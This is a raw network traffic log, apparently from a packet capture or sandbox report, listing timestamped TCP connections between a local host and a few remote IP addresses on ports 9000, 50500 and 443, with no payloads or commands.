Jun 20, 2024 06:49:25.798764944 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.798764944 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.798780918 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.798814058 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.798815012 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.798839092 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.798863888 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.798903942 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.798913002 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.798923016 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.798945904 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.798969030 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.798994064 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.798996925 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.799031019 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.799051046 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.799062967 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.799086094 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.799109936 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.800302982 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.800340891 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.800371885 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.800384998 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.800384998 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.800421953 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.800422907 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.800498009 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.800508022 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.800544024 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.800558090 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.800560951 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.800590992 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.800601959 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.800625086 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.800677061 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.803313017 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.803343058 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.803390980 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.803400993 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.803423882 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.803455114 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.803456068 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.803483963 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.803491116 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.803502083 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.803524971 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.803556919 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.803577900 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.803616047 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.808379889 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.808408022 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.808439970 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.808463097 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.808507919 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.808541059 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.808566093 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.808573961 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.808595896 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.808607101 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.808633089 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.808640957 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.808656931 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.808692932 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.814343929 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.814409971 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.814441919 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.814467907 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.814491034 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.814498901 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.814523935 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.814558029 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.814575911 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.814589977 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.814620018 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.814639091 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.818511009 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.818543911 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.818592072 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.818602085 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.818648100 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.818655968 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.818690062 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.818717957 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.818722010 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.818739891 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.818768024 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.818788052 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.818799973 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.818835974 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.818875074 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.822909117 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.822948933 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.822987080 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.823009968 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.823010921 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.823061943 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.823095083 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.823105097 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.823126078 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.823127985 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.823163033 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.823164940 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.823195934 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.823199034 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.823225021 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.823267937 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.825624943 CEST	49778	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:25.825891972 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.825941086 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.825947046 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.825995922 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.826029062 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.826034069 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.826056004 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.826076984 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.826098919 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.826112032 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.826134920 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.826158047 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.826170921 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.826221943 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.831208944 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.831259966 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.831291914 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.831324100 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.831324100 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.831350088 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.831377029 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.831381083 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.831408978 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.831437111 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.831443071 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.831461906 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.831473112 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.831501007 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.831518888 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.834384918 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.834436893 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.834502935 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.834508896 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.834553003 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.834557056 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.834585905 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.834619999 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.834642887 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.834652901 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.834672928 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.834707022 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.842482090 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.842515945 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.842547894 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.842585087 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.842602968 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.842617989 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.842637062 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.842669010 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.842678070 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.842700005 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.842717886 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.842803001 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.842886925 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.846482992 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.846535921 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.846544027 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.846565008 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.846591949 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.846612930 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.846620083 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.846662998 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.846714020 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.846714973 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.846745968 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.846779108 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.846792936 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.847134113 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.860559940 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.860609055 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.860644102 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.860692024 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.860690117 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.860690117 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.860690117 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.860724926 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.860757113 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.860775948 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.860790968 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.860817909 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.860819101 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.860847950 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.860866070 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.867573023 CEST	49780	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:25.867605925 CEST	443	49780	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:25.867779970 CEST	49780	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:25.869296074 CEST	49780	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:25.869316101 CEST	443	49780	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:25.870099068 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.870131969 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.870179892 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.870193958 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.870213032 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.870243073 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.870246887 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.870268106 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.870280027 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.870289087 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.870312929 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.870369911 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.879616022 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.879823923 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.880121946 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.880153894 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.880281925 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.880283117 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.880585909 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.880642891 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.880747080 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.880800962 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.880939007 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.880973101 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.880997896 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.881037951 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.892119884 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.892148018 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.892179012 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.892210960 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.892220974 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.892239094 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.892288923 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.892288923 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.892288923 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.892323017 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.892338991 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.892338991 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.892358065 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.892379045 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.892390013 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.892443895 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.892621994 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.892653942 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.892673969 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.892685890 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.892708063 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.892739058 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.892806053 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.892837048 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.892868996 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.892908096 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.892946005 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.893361092 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.893394947 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.893425941 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.893459082 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.894224882 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.894252062 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.894283056 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.894288063 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.894313097 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.894316912 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.894334078 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.894351959 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.894371986 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.894385099 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.894412041 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.894419909 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.894433022 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.894495010 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.894567013 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.894628048 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.897175074 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.897206068 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.897238970 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.897268057 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.897269011 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.897301912 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.897305965 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.897336006 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.897341967 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.897370100 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.897382021 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.897409916 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.897409916 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.900363922 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.900412083 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.900424957 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.900463104 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.900475979 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.900516033 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.900517941 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.900552988 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.900573969 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.900584936 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.900619030 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.900639057 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.900650024 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.900676012 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.900711060 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.906236887 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.906286001 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.906313896 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.906333923 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.906359911 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.906366110 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.906380892 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.906410933 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.906441927 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.906443119 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.906470060 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.906483889 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.906493902 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.906522989 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.906575918 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.906596899 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.910448074 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.910510063 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.910514116 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.910540104 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.910590887 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.910595894 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.910607100 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.910655022 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.910660982 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.910687923 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.910705090 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.910721064 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.910727978 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.910748959 CEST	49773	9000	192.168.2.4	162.55.53.18
